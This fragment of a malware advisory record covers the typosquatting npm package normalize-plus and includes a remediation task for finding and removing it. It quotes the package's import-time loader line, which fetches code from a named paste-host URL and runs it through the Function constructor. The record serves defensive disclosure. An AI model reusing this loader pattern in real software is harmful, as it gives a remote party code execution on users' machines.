Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6399/ (Markdown: https://insights.sbomify.com/MAL-2026-6399/index.md)","id":"MAL-2026-6399","markdown":"https://insights.sbomify.com/MAL-2026-6399/index.md","name":"MAL-2026-6399","record":{"aliases":["GHSA-fr34-v6cp-fc49"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On import, normalize-plus's top-level initPlugin() performs an HTTP GET against https://jsonkeeper.com/b/CI3HT, parses the JSON response, and evaluates its `cookie` field through the Function constructor: `const handler = new (Function.constructor)('require', JSON.parse(b).cookie); if (handler) handler(require);` (index.js line 74; URL default at line 65). The `require` symbol is then passed into the dynamically-constructed function, granting the remote payload full Node.js module-loading and filesystem privileges in any consumer that requires this package. jsonkeeper.com is a mutable anonymous paste host, so the maintainer can swap the executed code at any time without republishing the package. The package additionally mimics the API of the widely-used `normalize-path` package (exporting a `normalizePath` function) and self-describes as 'Stylus porting of normalize.css', combining a typosquat lure with an import-time remote-code-execution dropper.\n\nAny computer that has this package installed or running should be considered fully compromised.
